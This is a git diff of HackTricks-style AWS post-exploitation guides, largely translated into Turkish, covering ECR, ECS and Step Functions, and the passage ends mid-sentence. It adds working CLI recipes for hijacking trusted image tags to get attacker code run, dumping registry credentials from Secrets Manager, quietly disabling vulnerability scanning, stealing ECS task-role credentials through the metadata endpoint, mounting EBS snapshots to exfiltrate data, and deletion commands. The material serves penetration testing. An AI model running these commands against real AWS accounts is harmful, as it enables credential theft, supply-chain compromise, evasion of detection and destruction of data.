diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index d6e9352b3..faa36fbe9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Görüntüleri indirdikten sonra **hassas bilgiler açısından kontrol etmelisiniz**: +İmajları indirdikten sonra **hassas bilgiler için bunları kontrol etmelisiniz**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} +### Güvenilir Bir Tag'i `ecr:PutImage` ile Üzerine Yazma (Tag Hijacking / Supply Chain) + +Eğer tüketiciler dağıtımı tag ile yapıyorsa (örneğin `stable`, `prod`, `latest`) ve tags değiştirilebilirse, `ecr:PutImage` kullanılarak o tag altında bir image manifest yükleyip **güvenilir bir tag'i saldırgan-kontrollü içeriğe yeniden yönlendirmek** mümkün olur. + +Yaygın bir yaklaşım, mevcut saldırgan-kontrollü bir tag'in (veya digest'in) manifest'ini kopyalayıp güvenilir tag'in üzerine yazmaktır. +```bash +REGION=us-east-1 +REPO="" +SRC_TAG="backdoor" # attacker-controlled tag already present in the repository +DST_TAG="stable" # trusted tag used by downstream systems + +# 1) Fetch the manifest behind the attacker tag +MANIFEST="$(aws ecr batch-get-image \ +--region "$REGION" \ +--repository-name "$REPO" \ +--image-ids imageTag="$SRC_TAG" \ +--query 'images[0].imageManifest' \ +--output text)" + +# 2) Overwrite the trusted tag with that manifest +aws ecr put-image \ +--region "$REGION" \ +--repository-name "$REPO" \ +--image-tag "$DST_TAG" \ +--image-manifest "$MANIFEST" + +# 3) Verify both tags now point to the same digest +aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text +aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text +``` +**Etkisi**: `.../$REPO:$DST_TAG` çeken herhangi bir iş yükü, IaC, Kubernetes manifestleri veya task definitions üzerinde herhangi bir değişiklik olmadan saldırgan tarafından seçilmiş içeriği alacaktır. + +#### Downstream Tüketici Örneği: Lambda konteyner imajlarının etiket güncellemelerinde otomatik yenilenmesi + +Eğer bir Lambda fonksiyonu **container image** olarak dağıtılmışsa (`PackageType=Image`) ve bir digest yerine bir **ECR tag** (örn., `:stable`, `:prod`) kullanıyorsa, o etiketi üzerine yazmak fonksiyon yenilendiğinde tedarik zinciri müdahalesini **Lambda yürütme rolü içinde kod çalıştırmaya** dönüştürebilir. + +Bu durumu nasıl tespit edersiniz: +```bash +REGION=us-east-1 + +# 1) Find image-based Lambda functions and their ImageUri +aws lambda list-functions --region "$REGION" \ +--query "Functions[?PackageType=='Image'].[FunctionName]" --output text | +tr '\t' '\n' | while read -r fn; do +img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)" +[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img" +done + +# 2) Check whether a function references a mutable tag (contains ":") +# Prefer digest pinning (contains "@sha256:") in well-hardened deployments. +``` +Yenileme genellikle nasıl gerçekleşir: + +- CI/CD veya GitOps düzenli olarak `lambda:UpdateFunctionCode` çağrısı yapar (aynı `ImageUri` ile bile) ve Lambda'nın etiketi yeniden çözmesini zorlar. +- Olay-tabanlı otomasyon, ECR image olaylarını (push/etiket güncellemeleri) dinler ve bir yenileme Lambda'sı/otomasyonu tetikler. + +Eğer güvenilen etiketi üzerine yazabilirseniz ve bir yenileme mekanizması varsa, fonksiyonun bir sonraki çağrısı saldırganın kontrolündeki kodu çalıştırır; bu kod ortam değişkenlerini okuyabilir, ağ kaynaklarına erişebilir ve Lambda rolünü kullanarak AWS API'larını çağırabilir (örneğin, `secretsmanager:GetSecretValue`). + ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Bu izinlerden herhangi birine sahip bir saldırgan **depo içindeki tüm görüntüleri silmek için bir lifecycle policy oluşturabilir veya mevcut bir lifecycle policy'yi değiştirebilir** ve ardından **tüm ECR deposunu silebilir**. Bu, depoda saklanan tüm container görüntülerinin kaybına yol açar. +Bu izinlerden herhangi birine sahip bir saldırgan **depodaki tüm görüntüleri silmek için bir yaşam döngüsü politikası oluşturabilir veya değiştirebilir** ve ardından **tüm ECR deposunu silebilir**. Bu, depoda saklanan tüm container görüntülerinin kaybına yol açar. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -92,19 +150,19 @@ aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-i ``` ### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) -Eğer ECR Pull‑Through Cache kimlik doğrulamalı upstream registries (Docker Hub, GHCR, ACR, vb.) için yapılandırıldıysa, upstream credentials AWS Secrets Manager içinde öngörülebilir bir isim önekiyle saklanır: `ecr-pullthroughcache/`. Operatörler bazen ECR yöneticilerine geniş Secrets Manager okuma erişimi verir; bu da credential exfiltration ve AWS dışında yeniden kullanımına olanak tanır. +Eğer ECR Pull‑Through Cache kimlik doğrulamalı upstream registries (Docker Hub, GHCR, ACR, vb.) için yapılandırıldıysa, upstream kimlik bilgileri AWS Secrets Manager'da öngörülebilir bir isim önekiyle saklanır: `ecr-pullthroughcache/`. Operatörler bazen ECR yöneticilerine geniş Secrets Manager okuma erişimi verir; bu da kimlik bilgilerinin exfiltration'a ve AWS dışındaki yeniden kullanımına olanak tanır. Gereksinimler - secretsmanager:ListSecrets - secretsmanager:GetSecretValue -PTC için aday secrets'leri listele +Aday PTC secrets'lerini listeleme ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -Keşfedilen gizli bilgileri dök ve ortak alanları ayrıştır +Keşfedilen secrets'leri dump et ve ortak alanları ayrıştır ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -114,25 +172,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` -İsteğe bağlı: leaked creds'i upstream'e karşı doğrula (read‑only login) +İsteğe bağlı: leaked creds'i upstream'e karşı doğrulayın (read‑only login) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` Etkisi -- Bu Secrets Manager girdilerinin okunması, yeniden kullanılabilir upstream registry kimlik bilgileri (kullanıcı adı/parola veya token) sağlar; bu bilgiler AWS dışında özel image'ları çekmek veya upstream izinlerine bağlı olarak ek depolara erişmek için kötüye kullanılabilir. +- Bu Secrets Manager girişlerini okumak, yeniden kullanılabilir upstream registry kimlik bilgileri (kullanıcı adı/parola veya token) sağlar; bunlar upstream izinlerine bağlı olarak AWS dışında private image'ları çekmek veya ek depolara erişmek için kötüye kullanılabilir. -### Registry-level stealth: taramayı `ecr:PutRegistryScanningConfiguration` ile devre dışı bırakma veya düşürme +### Registry seviyesinde gizlenme: taramayı devre dışı bırakma veya düşürme aracılığıyla `ecr:PutRegistryScanningConfiguration` -Registry düzeyinde ECR izinlerine sahip bir saldırgan, registry tarama yapılandırmasını herhangi bir scan-on-push kuralı olmadan BASIC olarak ayarlayarak TÜM depolar için otomatik zafiyet taramasını sessizce azaltabilir veya devre dışı bırakabilir. Bu, yeni image push'larının otomatik olarak taranmasını engeller ve zayıf veya kötü amaçlı image'ları gizler. +Registry düzeyinde ECR izinlerine sahip bir saldırgan, kayıt tarama yapılandırmasını herhangi bir scan-on-push kuralı olmaksızın BASIC olarak ayarlayarak TÜM depolar için otomatik zafiyet taramasını sessizce azaltabilir veya devre dışı bırakabilir. Bu, yeni image push'larının otomatik olarak taranmasını engeller ve zafiyetli veya kötü amaçlı image'ları gizler. Gereksinimler -- ecr:PutRegistryScanningConfiguration -- ecr:GetRegistryScanningConfiguration -- ecr:PutImageScanningConfiguration (isteğe bağlı, depo başına) -- ecr:DescribeImages, ecr:DescribeImageScanFindings (doğrulama) +- `ecr:PutRegistryScanningConfiguration` +- `ecr:GetRegistryScanningConfiguration` +- `ecr:PutImageScanningConfiguration` (opsiyonel, per‑repo) +- `ecr:DescribeImages`, `ecr:DescribeImageScanFindings` (doğrulama) -Registry genelinde manuel moda düşürme (otomatik tarama yok) +Kayıt genelinde manuel moda düşürme (otomatik taramalar yok) ```bash REGION=us-east-1 # Read current config (save to restore later) @@ -144,7 +202,7 @@ aws ecr put-registry-scanning-configuration \ --scan-type BASIC \ --rules '[]' ``` -Repo ve image ile test +Repo ve image ile test edin ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth @@ -159,7 +217,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` -İsteğe bağlı: repo kapsamı düzeyinde daha fazla yetki düşürme +İsteğe bağlı: repo kapsamında daha fazla zayıflatma ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ @@ -168,21 +226,21 @@ aws ecr put-image-scanning-configuration \ --image-scanning-configuration scanOnPush=false ``` Etkisi -- Registry genelindeki yeni image push'ları otomatik olarak taranmaz; bu, zafiyetli veya kötü amaçlı içeriğin görünürlüğünü azaltır ve tespiti manuel bir tarama başlatılana kadar geciktirir. +- Kayıt defteri genelindeki yeni image push'ları otomatik olarak taranmıyor; bu, güvenlik açığına sahip veya kötü amaçlı içeriğin görünürlüğünü azaltır ve tespit edilmesini bir manuel tarama başlatılana kadar geciktirir. -### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) +### Kayıt defteri genelinde tarama motoru düşürme `ecr:PutAccountSetting` aracılığıyla (AWS_NATIVE -> CLAIR) -Varsayılan AWS_NATIVE'den eski CLAIR motoruna BASIC tarama motorunu geçirerek tüm registry'de zafiyet tespiti kalitesini düşürün. Bu taramaları devre dışı bırakmaz ancak bulgular/kaplama üzerinde önemli değişikliklere yol açabilir. Taramaları yalnızca manuel yapmak için kural içermeyen bir BASIC registry tarama yapılandırması ile birleştirin. +Varsayılan AWS_NATIVE'den eski CLAIR motoruna BASIC tarama motorunu değiştirerek tüm kayıt defteri genelinde zafiyet tespiti kalitesini azaltın. Bu, taramayı devre dışı bırakmaz ancak bulguları/örtümü önemli ölçüde değiştirebilir. Taramaları yalnızca manuel hale getirmek için kuralsız bir BASIC registry tarama yapılandırması ile birleştirin. -Gereksinimler +Requirements - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` -- (Opsiyonel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` +- (İsteğe bağlı) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Etkisi -- Registry ayarı `BASIC_SCAN_TYPE_VERSION` `CLAIR` olarak ayarlanır; böylece sonraki BASIC taramalar düşürülmüş motorla çalışır. CloudTrail, `PutAccountSetting` API çağrısını kaydeder. +- Kayıt defteri ayarı `BASIC_SCAN_TYPE_VERSION` `CLAIR` olarak ayarlanır; böylece sonraki BASIC taramalar düşürülen motorla çalışır. CloudTrail, `PutAccountSetting` API çağrısını kaydeder. -Adımlar +Steps ```bash REGION=us-east-1 @@ -201,7 +259,7 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` -### ECR görüntülerini güvenlik açıkları için tara +### ECR görüntülerini zafiyetler için tara ```bash #!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md index 632d97122..45dc53a95 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -4,41 +4,41 @@ ## ECS -Daha fazla bilgi için bakınız: +For more information check: {{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Rolleri +### Host IAM Roles -ECS'te konteyner içinde çalışan göreve bir IAM role atanabilir. Eğer görev bir EC2 instance içinde çalıştırılıyorsa, EC2 instance'ına başka bir IAM rolü eklenmiş olur. -Bu da, bir ECS instance'ını **compromise** edebilirseniz, potansiyel olarak ECR ve EC2 instance'ına bağlı IAM rolünü elde edebileceğiniz anlamına gelir. Bu kimlik bilgilerini nasıl alacağınıza dair daha fazla bilgi için bakınız: +ECS'de container içinde çalışan task'e bir **IAM role** atanabilir. **If** task bir **EC2** instance içinde çalıştırılıyorsa, **EC2 instance**'a başka bir **IAM** role eklenir.\ +Bu, eğer bir ECS instance'ını **compromise** edebilirseniz potansiyel olarak **ECR ve EC2 instance'ına bağlı IAM role'lerini elde edebileceğiniz** anlamına gelir. Bu kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bakınız: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} > [!CAUTION] -> IMDSv2'nin hop limitini 1 olarak belirlemek, awsvpc veya host-networked görevleri **engellemez** — sadece Docker bridge görevleri cevapların yok olması için yeterince uzakta oturur. Tam saldırı iş akışı ve bypass notları için [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) bölümüne bakın. Yakın tarihli [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) awsvpc ve host görevlerinin IMDSv2+h=1 uygulanmış olsa bile host kimlik bilgilerini hâlâ çektiğini gösteriyor. +> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced. ### Privesc to node to steal other containers creds & secrets -Ayrıca, EC2 docker kullanarak ECS task'larını çalıştırır; bu yüzden node'a kaçabilir veya **docker socket'e erişebilirseniz**, hangi **diğer container'ların** çalıştığını **görebilir**, hatta onların içine girip üzerlerine bağlı IAM rollerini **çalabilirsiniz**. +Dahası, EC2, ECS task'lerini çalıştırmak için docker kullanır; bu yüzden node'a escape edebilir veya **docker socket**'e erişebilirseniz, hangi **diğer container'ların** çalıştırıldığını **check** edebilir, hatta içlerine **girebilir** ve atanmış **IAM role'lerini** çalabilirsiniz. -#### Mevcut host'ta container'ları çalıştırma +#### Making containers run in current host -Dahası, **EC2 instance role** genellikle kümedeki node olarak kullanılan EC2 instance'larının **container instance state**ini **güncellemek** için yeterli **permissions**a sahiptir. Bir saldırgan bir instance'ın **state'ini DRAINING olarak değiştirebilir**, ardından ECS o instance'daki tüm görevleri **kaldırır** ve **REPLICA** olarak çalıştırılanlar **farklı bir instance'da çalıştırılır**, potansiyel olarak saldırganın instance'ında, böylece onların IAM rollerini ve container içindeki hassas bilgileri **çalabilir**. +Ayrıca, **EC2 instance role** genellikle cluster içindeki node'lar olarak kullanılan EC2 instance'ların **container instance state**'ini **update** etmek için yeterli **permissions**a sahiptir. Bir attacker, bir instance'ın **state**'ini **DRAINING** olacak şekilde değiştirebilir; bunun üzerine ECS, o instance'daki tüm task'leri **remove** eder ve **REPLICA** olarak çalışanlar **farklı bir instance**'da çalıştırılır; potansiyel olarak attacker'ın instance'ı içinde çalıştırılarak onların **IAM role'lerini** ve container içindeki hassas bilgileri çalmasına imkan verir. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -Aynı teknik, **EC2 instance'ını cluster'dan deregister ederek** yapılabilir. Bu muhtemelen daha az gizli olur ama **görevlerin diğer instance'larda çalıştırılmasını zorlayacaktır:** +Aynı teknik **deregistering the EC2 instance from the cluster** ile yapılabilir. Bu muhtemelen daha az gizli olacaktır ancak **tasks'in diğer instances'larda çalıştırılmasını zorlayacaktır:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Görevlerin yeniden çalıştırılmasını zorlamak için son bir teknik, ECS'ye **task or container was stopped** olduğunu bildirmektir. Bunu yapmak için 3 olası API vardır: +task'ların yeniden çalıştırılmasını zorlamanın son bir yöntemi, ECS'ye **task veya container'ın durdurulduğunu** bildirmektir. Bunu yapmak için 3 olası API vardır: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -50,36 +50,49 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +#### Join the Cluster With an Attacker Host (Register Container Instance) + +Another variant (more direct than draining) is to **add capacity you control** into the cluster by registering an EC2 instance as a container instance (`ecs:RegisterContainerInstance`) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` credentials. + +See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow. + ### Steal sensitive info from ECR containers -EC2 instance muhtemelen ayrıca `ecr:GetAuthorizationToken` iznine sahiptir; bu da **imajları indirmesine** izin verir (içlerinde hassas bilgi arayabilirsiniz). +EC2 instance muhtemelen `ecr:GetAuthorizationToken` iznine de sahip olacak; bu izin ona **imajları indirebilme** yetkisi verir (içlerinde hassas bilgi arayabilirsiniz). +### Steal Task Role Credentials via `ecs:ExecuteCommand` +If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials: + +- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"` +- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role + +See the ECS privilege escalation page for enumeration and command examples. ### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) -Yeni bir ECS task/service içinde mevcut bir EBS snapshot'ının içeriğini doğrudan mount etmek ve container içinden verilerini okumak için native ECS EBS entegrasyonunu (2024+) kötüye kullanın. +Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container. -- Gerekenler (asgari): +- Needs (minimum): - ecs:RegisterTaskDefinition -- Bunlardan biri: ecs:RunTask OR ecs:CreateService/ecs:UpdateService -- iam:PassRole için: -- Volümler için kullanılan ECS altyapı rolü (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) -- Task execution/Task rolleri (task definition tarafından referans edilenler) -- Eğer snapshot bir CMK ile şifrelenmişse: infra rol için KMS izinleri (yukarıdaki AWS managed policy, AWS managed keys için gerekli KMS yetkilerini içerir). +- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole on: +- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles referenced by the task definition +- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys). -- Etki: Snapshot'tan rastgele disk içeriğini (ör. veritabanı dosyaları) container içinde okuyup ağ/loglar aracılığıyla exfiltrate etmek. +- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs. -Adımlar (Fargate örneği): +Steps (Fargate example): -1) ECS altyapı rolünü oluşturun (yoksa) ve managed policy'yi iliştirin: +1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy: ```bash aws iam create-role --role-name ecsInfrastructureRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ecsInfrastructureRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes ``` -2) `configuredAtLaunch` olarak işaretlenmiş bir volume içeren bir task definition kaydedin ve bunu container'a mount edin. Örnek (secret'i yazdırıp sonra uyur): +2) `configuredAtLaunch` ile işaretlenmiş bir volume içeren bir task definition kaydedin ve bunu container içinde mount edin. Örnek (secret'i yazdırır sonra uyur): ```json { "family": "ht-ebs-read", @@ -99,7 +112,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ "volumes": [ {"name":"loot", "configuredAtLaunch": true} ] } ``` -3) EBS snapshot'ını `volumeConfigurations.managedEBSVolume` aracılığıyla geçirerek bir service oluşturun veya güncelleyin (infra role üzerinde iam:PassRole gerektirir). Örnek: +3) EBS snapshot'ını `volumeConfigurations.managedEBSVolume` aracılığıyla geçirerek bir servis oluşturun veya güncelleyin (infra role üzerinde iam:PassRole gerektirir). Örnek: ```json { "cluster": "ht-ecs-ebs", @@ -113,9 +126,9 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ ] } ``` -4) Görev başladığında, konteyner yapılandırılmış bağlama yolundaki snapshot içeriğini (örn. `/loot`) okuyabilir. Exfiltrate via the task’s network/logs. +4) Task başladığında, container yapılandırılmış mount yolundaki snapshot içeriğini (ör. `/loot`) okuyabilir. Exfiltrate'i task’in ağ/günlükleri üzerinden gerçekleştirin. -Temizlik: +Temizleme: ```bash aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md index f5cc3306b..69c929255 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -4,7 +4,7 @@ ## Step Functions -Bu AWS hizmeti hakkında daha fazla bilgi için bakınız: +For more information about this AWS service, check: {{#ref}} ../../aws-services/aws-stepfunctions-enum.md @@ -12,19 +12,19 @@ Bu AWS hizmeti hakkında daha fazla bilgi için bakınız: ### `states:RevealSecrets` -Bu izin, bir yürütme içinde gizli verileri **açığa çıkarmaya** izin verir. Bunun için Inspection level'ı TRACE olarak ayarlamak ve revealSecrets parametresini true yapmak gerekir. +Bu izin, bir execution içindeki gizli verileri **açığa çıkarmaya** olanak tanır. Bunun için Inspection level'ın TRACE olarak ayarlanması ve revealSecrets parametresinin true yapılması gerekir.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -Bu izinlere sahip bir saldırgan durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerinin kurtarılması ve geri yüklenmesi için önemli zaman gerektirebilir. Ayrıca bir saldırganın izleri örtmesine, adli soruşturmaları aksatmasına ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları felç etmesine olanak sağlar. +Bu izinlere sahip bir saldırgan, state machine'leri, bunların sürümlerini ve alias'larını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen state machine'leri kurtarmak ve geri yüklemek için önemli zaman gerektirebilir. Ayrıca saldırganın izleri örtmesine, adli soruşturmaları engellemesine ve temel otomasyon süreçlerini ve state yapılandırmalarını kaldırarak operasyonları felç etmesine olanak sağlar. > [!NOTE] > -> - Bir durum makinesini sildiğinizde, ona ait tüm sürümleri ve takma adları da silersiniz. -> - Bir durum makinesi takma adını sildiğinizde, bu takma adı referans eden durum makinesi sürümlerini silmezsiniz. -> - Halen bir veya daha fazla takma ad tarafından referans verilen bir durum makinesi sürümünü silmek mümkün değildir. +> - Bir state machine'i sildiğinizde, ona ait tüm sürümler ve alias'lar da silinir. +> - Bir state machine alias'ını silmek, bu alias'a referans veren state machine sürümlerini silmez. +> - Şu anda bir veya daha fazla alias tarafından referans verilen bir state machine sürümünü silmek mümkün değildir. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -33,38 +33,80 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **Olası Etki**: Kritik iş akışlarının aksaması, veri kaybı ve operasyonel kesinti. +- **Potansiyel Etki**: Kritik iş akışlarının aksaması, veri kaybı ve operasyonel kesinti. ### `states:UpdateMapRun` -Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını değiştirebilir; izin verilen maksimum alt iş akışı yürütme sayısını artırıp azaltarak servisin performansını doğrudan etkileyebilir. Ayrıca saldırgan, tolere edilen hata yüzdesi ve sayısıyla oynayarak bu değeri 0'a düşürebilir; böylece bir öğe her başarısız olduğunda tüm map run başarısız olur, bu da state machine yürütmesini doğrudan etkileyerek kritik iş akışlarını potansiyel olarak kesintiye uğratır. +Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir; izin verilen maksimum alt iş akışı yürütme sayısını artırıp azaltarak servisin kullanılabilirliğini ve performansını doğrudan etkileyebilir. Ek olarak, bir saldırgan izin verilen hata yüzdesi ve sayısını tahrif edebilir; bu değeri 0'a düşürerek bir öğe her başarısız olduğunda tüm Map Run'ın başarısız olmasına neden olabilir; bu da state machine execution'ı doğrudan etkileyerek kritik iş akışlarını potansiyel olarak bozabilir. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **Potansiyel Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması. +- **Potansiyel Etki**: Performans düşüşü ve kritik iş akışlarının aksaması. ### `states:StopExecution` -Bu izne sahip bir saldırgan herhangi bir state machine'in yürütmesini durdurabilir, devam eden iş akışlarını ve süreçleri aksatabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir. +Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütmesini durdurabilir ve devam eden iş akışlarını ve süreçleri aksatabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir. > [!WARNING] -> > Bu işlem **express state machines** tarafından desteklenmez. +> Bu eylem **express state machines** tarafından desteklenmez. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **Olası Etki**: Devam eden iş akışlarının aksaması, operasyonel kesinti ve olası veri bozulması. +- **Potansiyel Etki**: Devam eden iş akışlarının aksaması, operasyonel kesinti ve olası veri bozulması. ### `states:TagResource`, `states:UntagResource` -Bir saldırgan, Step Functions kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu, kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir. +Bir saldırgan, Step Functions kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu da kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**Olası Etki**: maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrolü politikalarında aksama. +**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması. --- +### `states:StartExecution` -> Input Injection Into Dangerous Sinks + +`states:StartExecution` bir data-plane giriş noktasıdır. Eğer bir state machine, saldırgan kontrollü girdiyi tehlikeli bir sink içeren bir task'a iletir (örneğin `pickle.loads(base64.b64decode(payload_b64))` yapan bir Lambda), bazen **StartExecution**'ı state machine'i güncelleme izni olmadan yürütme çıktısı üzerinden **code execution** ve **secret exfiltration**'a dönüştürebilirsiniz. + +#### İş akışını ve çağrılan Lambda'yı keşfetme + +Eğer `states:List*` / `states:Describe*` izinlerine sahipseniz, state machine tanımını listeleyip okuyabilirsiniz: +```bash +REGION=us-east-1 +SM_ARN="" + +aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text +``` +Eğer ayrıca `lambda:GetFunction` izniniz de varsa, Lambda kod paketini indirerek girdinin nasıl işlendiğini anlayabilir (ve unsafe deserialization olup olmadığını doğrulayabilirsiniz): +```bash +LAMBDA_ARN="" +CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)" +curl -sSL "$CODE_URL" -o /tmp/lambda.zip +unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null +ls -la /tmp/lambda_code +``` +#### Örnek: execution input içindeki crafted pickle (Python) + +Eğer 